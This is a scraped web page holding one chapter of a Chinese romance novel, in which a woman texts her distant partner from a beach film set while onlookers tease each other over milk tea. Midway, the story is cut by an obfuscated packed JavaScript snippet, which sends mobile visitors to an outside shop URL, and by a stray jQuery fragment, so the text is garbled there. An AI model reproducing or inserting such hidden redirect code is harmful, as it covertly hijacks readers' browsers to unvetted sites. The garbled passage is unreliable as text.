文趣网 > 其他小说 > 刚结婚,老婆就问我“你是不是有病” > 26. 没有珍珠的奶茶
    海边,室外。

    苏烬把手机放在大腿上,偏过头,看远处那片蓝得不讲道理的海平线。

    海风把她侧编的长发吹起来,几缕碎发贴在颧骨上。她没去拨,只是微微眯了一下眼——阳光太亮,亮得她眼眶有点发酸。

    屏幕又亮了。

    段歆漓:刚才在车上,你是不是没睡

    段歆漓:还是不想跟我说话

    苏烬盯着这两行字,手指在膝盖上轻轻蜷了一下。

    苏烬:在开会

    段歆漓:骗人

    段歆漓:你开会的时候从来不看手机

    段歆漓:上次方谨言汇报预算,你全程把手机扣在桌上

    苏烬盯着“上次”这两个字,愣了一下。

    她记得。她记得自己上次开会时把手机扣在桌上,也记得段歆漓当时坐在她右手边第二个位置,目光落在投影幕上,但散会后轻声说了一句“方谨言第五页的数据算错了”。

    她当时没问“你怎么知道”。

    她也没问“你怎么知道我开会不看手机”。

    她们之间有些话不需要问。

    苏烬把手机从大腿上拿起来,打字,删掉,又打字,又删掉。

    段歆漓:你是不是又在删删改改

    苏烬的手指顿住了。

    段歆漓:你每次把一句话打三遍以上,就会删掉重新打

    苏烬盯着这行字,耳廓开始发烫。不是被太阳晒的——她坐在遮阳伞下。

    段歆漓:苏烬

    段歆漓:你在想什么

    苏烬的拇指悬在键盘上方,停了很久。她打了一行字,没发出去。又打了“在想你”。然后一个字一个字删掉,把手机翻过来扣在桌上。

    海风从左边吹过来,把她耳边那缕碎发吹到嘴角。她没动,就这么坐着,手臂搭在膝盖上,指尖垂下去,几乎要碰到脚踝。

    手机在掌心下震了一下,又震了一下。

    她把手机翻过来。

    段歆漓:我刚才看了一下这边的天

    段歆漓:没有海

    段歆漓:但月亮是一样的

    苏烬盯着“月亮”两个字,鼻尖忽然有一点酸。不是因为委屈,是因为段歆漓说这句话的时候,大概正站在某个她不能问的实验室里,穿着那件月白的长褂,蓝粉长发用素银簪子绾在脑后,手里端着一杯正山小种,偏头看着窗外。

    她不在海边。但她们看着同一个月亮。

    苏烬打了两个字:“几点。”发出去。然后看着屏幕上那两个字,觉得自己真笨。她明明想问“你那边冷不冷”“你吃饭了没有”“你什么时候回来”。但打了半天,只打了“几点”。

    段歆漓秒回:十一点零三分

    苏烬看了一眼自己手机上的时间——十一点零三分。一秒不差。

    段歆漓:你问的是我这里的几点,还是我想你的次数

    苏烬的手机差点从手里滑下去。她把手机扣在膝盖上,偏过头,盯着远处那片海。耳朵烫得像被火燎过。她伸手摸了一下耳廓——烫的。

    她知道自己现在眼角下方一定泛着淡粉色,幸好这里没有人。不,沈云栖坐在她斜后方的折叠椅上。苏烬没回头,但沈云栖一定看到了她的耳朵在发红。

    段歆漓:苏烬

    段歆漓:你还在吗

    苏烬深吸一口气,把手机拿起来,打了一个字:“在。”

    段歆漓:你是不是又害羞了

    段歆漓:因为我说了“想”

    苏烬把手机翻过来扣在腿上。

    她没注意到,翻手机的时候拇指蹭到了语音输入键。一段几秒钟的环境音——海浪、风声、手机壳磕在大腿上的闷响——被录了下来,自动发送到了段歆漓的对话框。

    段歆漓点开那条语音,听了一遍。

    然后她打字。

    段歆漓:你刚才是不是又把手机扣在腿上了

    段歆漓:我听到了。风往左吹,扣下去的时候声音闷了一下。

    苏烬拿起手机,看到这两条消息,愣了一下。她低头看了一下自己的大腿——手机壳磕过的位置还留着一小片红印。

    段歆漓:你扣手机的时候,不看看有没有误触吗

    苏烬盯着这行字,耳朵烫了一下。

    她没有承认,也没有否认。她只是把脸埋进手心里,手指按着眼角下方那片正在发烫的皮肤。海风吹过来,把她侧编的长发吹得轻轻飘起来,发尾扫过她的手腕。

    过了好一会儿,她把手机翻过来。

    段歆漓:你刚才是不是又扣手机了

    段歆漓:你害羞了

    苏烬盯着这行字,一时不知道该说什么。她不知道段歆漓连这个都记得。她不知道段歆漓在离她很远的地方,还能通过手机收音里海风声音的细微变化,判断她做了哪个动作。

    苏烬打了四个字:“早点休息。”发出去。

    段歆漓:好

    段歆漓:你也是

    段歆漓:晚安

    段歆漓:苏烬

    段歆漓:我刚才说想你是真的

    苏烬把手机扣在腿上,仰起头,看天上的云。

    云走得很慢,慢到她能看清每一朵的形状。有一朵像她昨晚泡的那杯正山小种——茶汤澄黄,边缘透亮。她盯着那朵云,直到它被风吹散,变成几缕细长的丝,挂在天边,像段歆漓散在枕上的长发。

    她重新拿起手机。屏幕上还停在段歆漓最后那行字——“我刚才说想你是真的”。苏烬看了很久,打了两个字,发出去。

    苏烬:我也是

    发完她立刻把手机放进口袋,站起来,朝片场走。

    沈云栖坐在遮阳伞下,目光从苏烬的背影上收回来,低头在分镜本页脚写了一行字:“苏总。打完字之后在椅子上坐了很久。站起来的时候,耳廓是红的。”

    头顶上的呆毛抖了一下,像个探测器。

    苏迟蹲在器材箱后面,正盯着手机屏幕发呆。段歆漓没有给她发消息。她翻了翻朋友圈,看到沈鹤归三分钟前发了一张奶茶的照片。

    配文:“今天没加珍珠。”

    苏迟翻了个白眼,在评论区打:“谁问你了?”没发出去,删掉了。

    沈鹤归从她身后探出头:“你是不是在等段姐消息?”

    苏迟把手机扣在沙地上。“没有。”

    “你手指刚才一直在刷新。”

    “我在检查屏幕有没有划痕。”

    沈鹤归没拆穿。他在苏迟旁边蹲下来,手里端着那杯“今天没加珍珠”的蜜桃味奶茶,喝了一口。

    “我妹今天写了三段观察笔记。全是关于苏总的。”

    苏迟转过头。“三段?写的什么?”

    “第一段写苏总看完手机之后耳廓红了。第二段写苏总把手机扣在腿上仰头看云。第三段写苏总站起来的时候笑了一下——但只笑了0.5秒,她自己可能没发现。”

    苏迟沉默了片刻,低头看着地上那台被扣住的手机。

    “段姐到底跟她说了什么。”

    沈鹤归摇头。“不知道。但能让苏总笑0.5秒的,这个世界上大概只有段姐。”

    苏迟把手机捡起来,按亮屏幕。没有新消息。她把手机放进口袋,站起来拍了拍裤子上的灰。

    “沈鹤归。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17559087|204522||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“嗯。”

    “你妹妹是不是对段姐特别关注。”

    沈鹤归想了想。“她是观察者。段姐是她见过的最有意思的观察对象。”

    “只是观察?”

    “只是观察。”沈鹤归喝了一口奶茶,“她要是对段姐有别的想法,苏总会第一个发现。你觉得苏总会允许吗。”

    苏迟看了他一眼,没说话。

    远处,苏烬走回监视器后面坐下,端起那杯已经凉透的咖啡喝了一口。目光落在屏幕上,但什么都没在看。她在想段歆漓刚才发的那行字——“我刚才说想你是真的”。

    她在想,段歆漓说这句话的时候,会不会也像自己一样,耳廓泛着淡粉色。她不知道。但她知道,此刻她们看着同一片天。她在海边,段歆漓在某个她不能问的地方。但月亮是一样的。

    ---

    沈鹤归端着那杯“今天没加珍珠”的奶茶,在沈云栖旁边的折叠椅上坐下。椅子太小,他坐得歪歪扭扭,奶茶在杯沿晃了晃,差点洒出来。他赶紧稳住,吸管从杯盖里弹出来,掉在地上。

    他低头看了看地上的吸管,弯腰捡也不是,不捡也不是。

    沈云栖没抬头。笔尖在分镜本上划过去,字迹工整,笔锋利落。

    沈鹤归把吸管放在椅子扶手上,端起奶茶直接喝了一口——没有吸管,杯盖压着,喝得他嘴角漏了一滴。

    “小七。”

    沈云栖没理他。

    “段老师走了第二天了。”

    笔尖没停。

    “苏总今天看了好多次手机。”

    沈云栖的笔停了。她没抬头,声音很轻:“你奶茶没珍珠。”

    沈鹤归愣了一下。

    “你昨天说珍珠嚼得腮帮子疼。对着苏迟说的。苏迟没理你,你又跟我说了一遍。”

    沈鹤归嘴张了张,没说出话。

    沈云栖继续写,语气很淡:“你什么事都跟别人说。别人不想听,你就跟我说。”

    “我没有。”

    “你有。上次你投资亏了,跟苏迟说了半小时。苏迟戴着耳机。”

    沈鹤归:“……”

    “再上次你感冒,跟沈总打了四十分钟电话。沈总在开车。”

    沈鹤归沉默了。他端着奶茶,手指在杯壁上轻轻蹭了一下。

    沈云栖翻了一页分镜本,笔尖没停:“你挡光了。”

    沈鹤归挪了挪,没走。沉默了一会儿。沈云栖忽然开口:“段老师走之前说,奶茶里的珍珠是淀粉做的,不是真的珍珠。”

    “她怎么知道。”

    “她什么都懂。”

    沈鹤归低头看了看自己手里的奶茶。“……那我还嚼什么。”

    沈云栖没接话。

    远处苏迟在调无人机,螺旋桨嗡嗡响。苏烬坐在监视器后面,手里端着咖啡杯,目光落在屏幕上,什么都没在看。

    沈鹤归看着妹妹认真写分镜的侧脸。淡粉色的碎发从耳侧垂下来,睫毛垂着,嘴唇微微抿着,很好看。他忽然觉得,自己一直在找“谁愿意听我说”——但这个人一直坐在他旁边。只是她从来不说“我在听”。她说“你挡光了”。

    他低头喝了一口没有珍珠的奶茶。

    “小七。”

    “嗯。”

    “你刚才说的那些事——你都记得。”

    沈云栖的笔尖停了一下。“……你话太多了。不想记也记住了。”

    沈鹤归弯起嘴角,没再说话。他把奶茶放在地上,仰头看天。天很蓝,云很慢。他忽然觉得,没有珍珠的奶茶也没那么难喝。

    沈云栖的辫子翘了一下,看不清她的表情。